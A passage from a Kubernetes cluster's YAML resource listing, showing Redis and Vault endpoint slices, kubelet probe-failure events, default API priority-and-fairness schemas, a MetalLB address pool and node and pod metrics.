    - 192.168.34.35
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: redis-replicas-0
      namespace: redis
      uid: 40056cc8-1ed6-474c-a239-abd29a527c86
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:47Z"
    creationTimestamp: "2025-10-19T11:15:44Z"
    generateName: redis-replicas-
    generation: 2146
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: redis-23.1.3
      kubernetes.io/service-name: redis-replicas
    name: redis-replicas-69b2l
    namespace: redis
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: redis-replicas
      uid: e41376f5-ee37-47e9-b205-2b27fb3c3302
    resourceVersion: "18046495"
    uid: 83127cf7-0bf5-4bb3-8dc4-d50ab40e933c
  ports:
  - name: tcp-redis
    port: 6379
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.190
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: vault-agent-injector-6ffc786d9f-8dntq
      namespace: vault
      uid: 6f22e9d5-c27b-4821-9e5e-bed6d1e6e960
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:20Z"
    creationTimestamp: "2025-09-22T18:24:00Z"
    generateName: vault-agent-injector-svc-
    generation: 88
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault-agent-injector
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      kubernetes.io/service-name: vault-agent-injector-svc
    name: vault-agent-injector-svc-jwlqq
    namespace: vault
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: vault-agent-injector-svc
      uid: 99b91202-d2fc-4749-87ce-7c0957c13c41
    resourceVersion: "18007846"
    uid: c3336b77-8382-42d1-a9fa-4e6c2142055c
  ports:
  - name: https
    port: 8080
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.214
    conditions:
      ready: true
      serving: false
      terminating: false
    hostname: vault-0
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: vault-0
      namespace: vault
      uid: 841f5aa6-cd14-48da-864c-c768a4b121f1
  kind: EndpointSlice
  metadata:
    creationTimestamp: "2025-09-22T18:24:00Z"
    generateName: vault-internal-
    generation: 100
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: vault-0.30.1
      kubernetes.io/service-name: vault-internal
      service.kubernetes.io/headless: ""
      vault-internal: "true"
    name: vault-internal-mmmxc
    namespace: vault
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: vault-internal
      uid: 67d40cad-1b79-44ed-9be9-aa006b429a69
    resourceVersion: "18033489"
    uid: 9bba865e-8b33-4900-b709-32a7a2f8017b
  ports:
  - name: http
    port: 8200
    protocol: TCP
  - name: https-internal
    port: 8201
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.214
    conditions:
      ready: true
      serving: false
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: vault-0
      namespace: vault
      uid: 841f5aa6-cd14-48da-864c-c768a4b121f1
  kind: EndpointSlice
  metadata:
    creationTimestamp: "2025-09-22T18:24:00Z"
    generateName: vault-
    generation: 100
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: vault-0.30.1
      kubernetes.io/service-name: vault
    name: vault-mqkxz
    namespace: vault
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: vault
      uid: 35681fbd-d47b-476a-a8e8-85277a417729
    resourceVersion: "18033490"
    uid: 1468bfff-49cd-4558-8138-6d41772450b9
  ports:
  - name: http
    port: 8200
    protocol: TCP
  - name: https-internal
    port: 8201
    protocol: TCP
- apiVersion: events.k8s.io/v1
  deprecatedCount: 1649
  deprecatedFirstTimestamp: "2025-11-29T11:13:46Z"
  deprecatedLastTimestamp: "2025-11-29T15:48:26Z"
  deprecatedSource:
    component: kubelet
    host: k8s-m-1
  eventTime: null
  kind: Event
  metadata:
    creationTimestamp: "2025-11-29T11:13:46Z"
    name: artemis-wordpress-574d78556d-7zvkm.187c75efcfa6943f
    namespace: artemis
    resourceVersion: "18062255"
    uid: ca3fb64c-5d0d-4b04-9037-c2bf0ae28e2f
  note: 'Readiness probe warning: Probe terminated redirects, Response body: '
  reason: ProbeWarning
  regarding:
    apiVersion: v1
    fieldPath: spec.containers{wordpress}
    kind: Pod
    name: artemis-wordpress-574d78556d-7zvkm
    namespace: artemis
    resourceVersion: "18006878"
    uid: 60e08890-423d-44c8-9915-f5addbb4e5c7
  reportingController: kubelet
  reportingInstance: k8s-m-1
  type: Warning
- apiVersion: events.k8s.io/v1
  deprecatedCount: 868
  deprecatedFirstTimestamp: "2025-11-29T13:25:14Z"
  deprecatedLastTimestamp: "2025-11-29T15:49:43Z"
  deprecatedSource:
    component: kubelet
    host: k8s-m-2
  eventTime: null
  kind: Event
  metadata:
    creationTimestamp: "2025-11-29T13:25:14Z"
    name: hera-wordpress-7f576688d9-bx44r.187c7d1c2f0572d3
    namespace: hera
    resourceVersion: "18062498"
    uid: 1c49b25b-62c5-44d6-bcaa-4a8c0a36293a
  note: 'Liveness probe warning: Probe terminated redirects, Response body: '
  reason: ProbeWarning
  regarding:
    apiVersion: v1
    fieldPath: spec.containers{wordpress}
    kind: Pod
    name: hera-wordpress-7f576688d9-bx44r
    namespace: hera
    resourceVersion: "18032717"
    uid: dfdaf2ae-dd7f-474e-91a5-463965d76c61
  reportingController: kubelet
  reportingInstance: k8s-m-2
  type: Warning
- apiVersion: events.k8s.io/v1
  deprecatedCount: 39
  deprecatedFirstTimestamp: "2025-11-29T11:13:41Z"
  deprecatedLastTimestamp: "2025-11-29T15:48:21Z"
  deprecatedSource:
    component: kubelet
    host: k8s-m-1
  eventTime: null
  kind: Event
  metadata:
    creationTimestamp: "2025-11-29T13:24:02Z"
    name: redis-replicas-1.187c75ee7bfe9781
    namespace: redis
    resourceVersion: "18062236"
    uid: c1de41a8-4d3e-453d-ae02-e466ff8986bb
  note: |
    Readiness probe failed: Timed out
  reason: Unhealthy
  regarding:
    apiVersion: v1
    fieldPath: spec.containers{redis}
    kind: Pod
    name: redis-replicas-1
    namespace: redis
    resourceVersion: "18006934"
    uid: 469b01a6-e14a-4403-b68d-8c7a33b70b2c
  reportingController: kubelet
  reportingInstance: k8s-m-1
  type: Warning
- apiVersion: events.k8s.io/v1
  deprecatedCount: 19
  deprecatedFirstTimestamp: "2025-11-29T13:24:35Z"
  deprecatedLastTimestamp: "2025-11-29T14:54:52Z"
  deprecatedSource:
    component: kubelet
    host: k8s-m-1
  eventTime: null
  kind: Event
  metadata:
    creationTimestamp: "2025-11-29T13:24:35Z"
    name: redis-replicas-1.187c7d132461f4a1
    namespace: redis
    resourceVersion: "18052057"
    uid: 3dc404e4-77dd-400c-a878-cb9fd8375f60
  note: 'Readiness probe failed: command timed out: "/bin/bash -ec /health/ping_readiness_local_and_master.sh
    1" timed out after 2s'
  reason: Unhealthy
  regarding:
    apiVersion: v1
    fieldPath: spec.containers{redis}
    kind: Pod
    name: redis-replicas-1
    namespace: redis
    resourceVersion: "18006934"
    uid: 469b01a6-e14a-4403-b68d-8c7a33b70b2c
  reportingController: kubelet
  reportingInstance: k8s-m-1
  type: Warning
- apiVersion: events.k8s.io/v1
  deprecatedCount: 32
  deprecatedFirstTimestamp: "2025-11-29T13:25:26Z"
  deprecatedLastTimestamp: "2025-11-29T15:33:20Z"
  deprecatedSource:
    component: kubelet
    host: k8s-m-2
  eventTime: null
  kind: Event
  metadata:
    creationTimestamp: "2025-11-29T15:33:20Z"
    name: redis-replicas-2.187c7d1efb0764f9
    namespace: redis
    resourceVersion: "18059385"
    uid: df2266b1-1ad3-4b3a-857f-5b4d7116bbfa
  note: |
    Readiness probe failed: Timed out
  reason: Unhealthy
  regarding:
    apiVersion: v1
    fieldPath: spec.containers{redis}
    kind: Pod
    name: redis-replicas-2
    namespace: redis
    resourceVersion: "18032740"
    uid: 9819eacd-77fa-4bd9-9a80-031f26edee0a
  reportingController: kubelet
  reportingInstance: k8s-m-2
  type: Warning
- apiVersion: events.k8s.io/v1
  deprecatedCount: 1776
  deprecatedFirstTimestamp: "2025-11-29T13:25:09Z"
  deprecatedLastTimestamp: "2025-11-29T15:49:00Z"
  deprecatedSource:
    component: kubelet
    host: k8s-m-2
  eventTime: null
  kind: Event
  metadata:
    creationTimestamp: "2025-11-29T13:25:09Z"
    name: vault-0.187c7d1b095a4502
    namespace: vault
    resourceVersion: "18062363"
    uid: 83821847-c763-4a6f-9052-e39cc20cbe79
  note: |
    Readiness probe failed: Key                Value
    ---                -----
    Seal Type          shamir
    Initialized        false
    Sealed             true
    Total Shares       0
    Threshold          0
    Unseal Progress    0/0
    Unseal Nonce       n/a
    Version            1.20.1
    Build Date         2025-07-24T13:33:51Z
    Storage Type       file
    HA Enabled         false
  reason: Unhealthy
  regarding:
    apiVersion: v1
    fieldPath: spec.containers{vault}
    kind: Pod
    name: vault-0
    namespace: vault
    resourceVersion: "17748563"
    uid: 841f5aa6-cd14-48da-864c-c768a4b121f1
  reportingController: kubelet
  reportingInstance: k8s-m-2
  type: Warning
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: catch-all
    resourceVersion: "85"
    uid: 5d12cf40-bb3b-4e8f-bab5-da7632ad183f
  spec:
    distinguisherMethod:
      type: ByUser
    matchingPrecedence: 10000
    priorityLevelConfiguration:
      name: catch-all
    rules:
    - nonResourceRules:
      - nonResourceURLs:
        - '*'
        verbs:
        - '*'
      resourceRules:
      - apiGroups:
        - '*'
        clusterScope: true
        namespaces:
        - '*'
        resources:
        - '*'
        verbs:
        - '*'
      subjects:
      - group:
          name: system:unauthenticated
        kind: Group
      - group:
          name: system:authenticated
        kind: Group
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "catch-all" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: endpoint-controller
    resourceVersion: "61"
    uid: 1943f9c7-dbae-428d-9bfd-d3df6665ca38
  spec:
    distinguisherMethod:
      type: ByUser
    matchingPrecedence: 150
    priorityLevelConfiguration:
      name: workload-high
    rules:
    - resourceRules:
      - apiGroups:
        - ""
        namespaces:
        - '*'
        resources:
        - endpoints
        verbs:
        - get
        - create
        - update
      subjects:
      - kind: User
        user:
          name: system:kube-controller-manager
      - kind: ServiceAccount
        serviceAccount:
          name: endpoint-controller
          namespace: kube-system
      - kind: ServiceAccount
        serviceAccount:
          name: endpointslicemirroring-controller
          namespace: kube-system
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "workload-high" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: exempt
    resourceVersion: "83"
    uid: 3994c1f7-5b44-483e-b248-bd3a08f10454
  spec:
    matchingPrecedence: 1
    priorityLevelConfiguration:
      name: exempt
    rules:
    - nonResourceRules:
      - nonResourceURLs:
        - '*'
        verbs:
        - '*'
      resourceRules:
      - apiGroups:
        - '*'
        clusterScope: true
        namespaces:
        - '*'
        resources:
        - '*'
        verbs:
        - '*'
      subjects:
      - group:
          name: system:masters
        kind: Group
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "exempt" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: global-default
    resourceVersion: "81"
    uid: 21df6cf4-4c17-49ca-86aa-20b95f2cc75c
  spec:
    distinguisherMethod:
      type: ByUser
    matchingPrecedence: 9900
    priorityLevelConfiguration:
      name: global-default
    rules:
    - nonResourceRules:
      - nonResourceURLs:
        - '*'
        verbs:
        - '*'
      resourceRules:
      - apiGroups:
        - '*'
        clusterScope: true
        namespaces:
        - '*'
        resources:
        - '*'
        verbs:
        - '*'
      subjects:
      - group:
          name: system:unauthenticated
        kind: Group
      - group:
          name: system:authenticated
        kind: Group
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "global-default" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: kube-controller-manager
    resourceVersion: "64"
    uid: eab64239-e26c-444d-9b90-42aa52dc35ea
  spec:
    distinguisherMethod:
      type: ByNamespace
    matchingPrecedence: 800
    priorityLevelConfiguration:
      name: workload-high
    rules:
    - nonResourceRules:
      - nonResourceURLs:
        - '*'
        verbs:
        - '*'
      resourceRules:
      - apiGroups:
        - '*'
        clusterScope: true
        namespaces:
        - '*'
        resources:
        - '*'
        verbs:
        - '*'
      subjects:
      - kind: User
        user:
          name: system:kube-controller-manager
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "workload-high" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: kube-scheduler
    resourceVersion: "67"
    uid: dc6a2ecc-399b-4721-a7a0-e383bfe711e0
  spec:
    distinguisherMethod:
      type: ByNamespace
    matchingPrecedence: 800
    priorityLevelConfiguration:
      name: workload-high
    rules:
    - nonResourceRules:
      - nonResourceURLs:
        - '*'
        verbs:
        - '*'
      resourceRules:
      - apiGroups:
        - '*'
        clusterScope: true
        namespaces:
        - '*'
        resources:
        - '*'
        verbs:
        - '*'
      subjects:
      - kind: User
        user:
          name: system:kube-scheduler
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "workload-high" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: kube-system-service-accounts
    resourceVersion: "71"
    uid: a5a10eff-4995-4e60-a9eb-736582f31336
  spec:
    distinguisherMethod:
      type: ByNamespace
    matchingPrecedence: 900
    priorityLevelConfiguration:
      name: workload-high
    rules:
    - nonResourceRules:
      - nonResourceURLs:
        - '*'
        verbs:
        - '*'
      resourceRules:
      - apiGroups:
        - '*'
        clusterScope: true
        namespaces:
        - '*'
        resources:
        - '*'
        verbs:
        - '*'
      subjects:
      - kind: ServiceAccount
        serviceAccount:
          name: '*'
          namespace: kube-system
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "workload-high" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: probes
    resourceVersion: "79"
    uid: 5d3fdc10-2e6a-453a-9b5b-3fdaee756075
  spec:
    matchingPrecedence: 2
    priorityLevelConfiguration:
      name: exempt
    rules:
    - nonResourceRules:
      - nonResourceURLs:
        - /healthz
        - /readyz
        - /livez
        verbs:
        - get
      subjects:
      - group:
          name: system:unauthenticated
        kind: Group
      - group:
          name: system:authenticated
        kind: Group
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "exempt" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: service-accounts
    resourceVersion: "74"
    uid: 74cb89d3-d682-4f1a-ab54-f8ec814aa8b6
  spec:
    distinguisherMethod:
      type: ByUser
    matchingPrecedence: 9000
    priorityLevelConfiguration:
      name: workload-low
    rules:
    - nonResourceRules:
      - nonResourceURLs:
        - '*'
        verbs:
        - '*'
      resourceRules:
      - apiGroups:
        - '*'
        clusterScope: true
        namespaces:
        - '*'
        resources:
        - '*'
        verbs:
        - '*'
      subjects:
      - group:
          name: system:serviceaccounts
        kind: Group
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "workload-low" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: system-leader-election
    resourceVersion: "56"
    uid: 390ea56c-09fb-4bbe-854e-a42cf7e05db2
  spec:
    distinguisherMethod:
      type: ByUser
    matchingPrecedence: 100
    priorityLevelConfiguration:
      name: leader-election
    rules:
    - resourceRules:
      - apiGroups:
        - coordination.k8s.io
        namespaces:
        - '*'
        resources:
        - leases
        verbs:
        - get
        - create
        - update
      subjects:
      - kind: User
        user:
          name: system:kube-controller-manager
      - kind: User
        user:
          name: system:kube-scheduler
      - kind: ServiceAccount
        serviceAccount:
          name: '*'
          namespace: kube-system
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "leader-election" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: system-node-high
    resourceVersion: "50"
    uid: 2c69c05f-c029-4409-bd68-5628a5859741
  spec:
    distinguisherMethod:
      type: ByUser
    matchingPrecedence: 400
    priorityLevelConfiguration:
      name: node-high
    rules:
    - resourceRules:
      - apiGroups:
        - ""
        clusterScope: true
        namespaces:
        - '*'
        resources:
        - nodes
        - nodes/status
        verbs:
        - '*'
      - apiGroups:
        - coordination.k8s.io
        namespaces:
        - '*'
        resources:
        - leases
        verbs:
        - '*'
      subjects:
      - group:
          name: system:nodes
        kind: Group
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "node-high" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: system-nodes
    resourceVersion: "46"
    uid: 05634604-7ced-4e3b-94f9-5075d88250db
  spec:
    distinguisherMethod:
      type: ByUser
    matchingPrecedence: 500
    priorityLevelConfiguration:
      name: system
    rules:
    - nonResourceRules:
      - nonResourceURLs:
        - '*'
        verbs:
        - '*'
      resourceRules:
      - apiGroups:
        - '*'
        clusterScope: true
        namespaces:
        - '*'
        resources:
        - '*'
        verbs:
        - '*'
      subjects:
      - group:
          name: system:nodes
        kind: Group
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "system" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: FlowSchema
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: workload-leader-election
    resourceVersion: "58"
    uid: fc526630-660b-4e89-96e1-1c79ac8eccea
  spec:
    distinguisherMethod:
      type: ByUser
    matchingPrecedence: 200
    priorityLevelConfiguration:
      name: leader-election
    rules:
    - resourceRules:
      - apiGroups:
        - ""
        namespaces:
        - '*'
        resources:
        - endpoints
        - configmaps
        verbs:
        - get
        - create
        - update
      - apiGroups:
        - coordination.k8s.io
        namespaces:
        - '*'
        resources:
        - leases
        verbs:
        - get
        - create
        - update
      subjects:
      - kind: ServiceAccount
        serviceAccount:
          name: '*'
          namespace: kube-system
  status:
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:16Z"
      message: This FlowSchema references the PriorityLevelConfiguration object named
        "leader-election" and it exists
      reason: Found
      status: "False"
      type: Dangling
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: PriorityLevelConfiguration
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: catch-all
    resourceVersion: "73"
    uid: 62dbd34b-45f6-4d1c-859a-baf14665c07c
  spec:
    limited:
      lendablePercent: 0
      limitResponse:
        type: Reject
      nominalConcurrencyShares: 5
    type: Limited
  status: {}
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: PriorityLevelConfiguration
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: exempt
    resourceVersion: "76"
    uid: a50f4ca1-5631-48fa-a08e-2812e76cb203
  spec:
    exempt:
      lendablePercent: 0
      nominalConcurrencyShares: 0
    type: Exempt
  status: {}
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: PriorityLevelConfiguration
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: global-default
    resourceVersion: "41"
    uid: ff9e59e8-06ee-46ae-abc9-794010f316a0
  spec:
    limited:
      lendablePercent: 50
      limitResponse:
        queuing:
          handSize: 6
          queueLengthLimit: 50
          queues: 128
        type: Queue
      nominalConcurrencyShares: 20
    type: Limited
  status: {}
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: PriorityLevelConfiguration
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: leader-election
    resourceVersion: "16"
    uid: 7edfa8ca-cc21-41c4-8f91-f8a2d63251ef
  spec:
    limited:
      lendablePercent: 0
      limitResponse:
        queuing:
          handSize: 4
          queueLengthLimit: 50
          queues: 16
        type: Queue
      nominalConcurrencyShares: 10
    type: Limited
  status: {}
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: PriorityLevelConfiguration
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: node-high
    resourceVersion: "7"
    uid: 113f102f-deb2-41f1-b595-0ef8ac145499
  spec:
    limited:
      lendablePercent: 25
      limitResponse:
        queuing:
          handSize: 6
          queueLengthLimit: 50
          queues: 64
        type: Queue
      nominalConcurrencyShares: 40
    type: Limited
  status: {}
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: PriorityLevelConfiguration
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: system
    resourceVersion: "3"
    uid: bec95be0-7e24-453a-b929-3551aaf80f5f
  spec:
    limited:
      lendablePercent: 33
      limitResponse:
        queuing:
          handSize: 6
          queueLengthLimit: 50
          queues: 64
        type: Queue
      nominalConcurrencyShares: 30
    type: Limited
  status: {}
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: PriorityLevelConfiguration
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: workload-high
    resourceVersion: "30"
    uid: e5b5d131-73ac-4929-8a4c-8f8e3eefaafc
  spec:
    limited:
      lendablePercent: 50
      limitResponse:
        queuing:
          handSize: 6
          queueLengthLimit: 50
          queues: 128
        type: Queue
      nominalConcurrencyShares: 40
    type: Limited
  status: {}
- apiVersion: flowcontrol.apiserver.k8s.io/v1
  kind: PriorityLevelConfiguration
  metadata:
    annotations:
      apf.kubernetes.io/autoupdate-spec: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    generation: 1
    name: workload-low
    resourceVersion: "38"
    uid: d9b4c759-ef00-47c8-bc40-b8d5af4d3faf
  spec:
    limited:
      lendablePercent: 90
      limitResponse:
        queuing:
          handSize: 6
          queueLengthLimit: 50
          queues: 128
        type: Queue
      nominalConcurrencyShares: 100
    type: Limited
  status: {}
- apiVersion: metallb.io/v1beta1
  kind: IPAddressPool
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"metallb.io/v1beta1","kind":"IPAddressPool","metadata":{"annotations":{},"name":"default-pool","namespace":"metallb-system"},"spec":{"addresses":["172.16.30.240/32"]}}
    creationTimestamp: "2025-09-21T18:57:15Z"
    generation: 1
    name: default-pool
    namespace: metallb-system
    resourceVersion: "18034153"
    uid: 7f6eb1bf-2ea5-499c-909e-858368481e47
  spec:
    addresses:
    - 172.16.30.240/32
    autoAssign: true
    avoidBuggyIPs: false
  status:
    assignedIPv4: 1
    assignedIPv6: 0
    availableIPv4: 0
    availableIPv6: 0
- apiVersion: metallb.io/v1beta1
  kind: L2Advertisement
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"metallb.io/v1beta1","kind":"L2Advertisement","metadata":{"annotations":{},"name":"default","namespace":"metallb-system"},"spec":{"ipAddressPools":["default-pool"]}}
    creationTimestamp: "2025-09-21T18:59:21Z"
    generation: 1
    name: default
    namespace: metallb-system
    resourceVersion: "64155"
    uid: 2a8fd2fd-c590-4dd5-8047-7c423706045e
  spec:
    ipAddressPools:
    - default-pool
- apiVersion: metrics.k8s.io/v1beta1
  kind: NodeMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      beta.kubernetes.io/arch: amd64
      beta.kubernetes.io/os: linux
      kubernetes.io/arch: amd64
      kubernetes.io/hostname: k8s-m-1
      kubernetes.io/os: linux
      node-role.kubernetes.io/control-plane: ""
      node.kubernetes.io/exclude-from-external-load-balancers: ""
    name: k8s-m-1
  timestamp: "2025-11-29T15:49:47Z"
  usage:
    cpu: 485242908n
    memory: 6022432Ki
  window: 10.082s
- apiVersion: metrics.k8s.io/v1beta1
  kind: NodeMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      beta.kubernetes.io/arch: amd64
      beta.kubernetes.io/os: linux
      kubernetes.io/arch: amd64
      kubernetes.io/hostname: k8s-m-2
      kubernetes.io/os: linux
      node-role.kubernetes.io/control-plane: ""
      node.kubernetes.io/exclude-from-external-load-balancers: ""
    name: k8s-m-2
  timestamp: "2025-11-29T15:49:51Z"
  usage:
    cpu: 590976262n
    memory: 6350892Ki
  window: 20.179s
- apiVersion: metrics.k8s.io/v1beta1
  kind: NodeMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      beta.kubernetes.io/arch: amd64
      beta.kubernetes.io/os: linux
      kubernetes.io/arch: amd64
      kubernetes.io/hostname: k8s-m-3
      kubernetes.io/os: linux
      node-role.kubernetes.io/control-plane: ""
      node.kubernetes.io/exclude-from-external-load-balancers: ""
    name: k8s-m-3
  timestamp: "2025-11-29T15:49:54Z"
  usage:
    cpu: 425275587n
    memory: 4828236Ki
  window: 20.088s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: application-controller
    usage:
      cpu: 3879229n
      memory: 49792Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: application-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-application-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      apps.kubernetes.io/pod-index: "0"
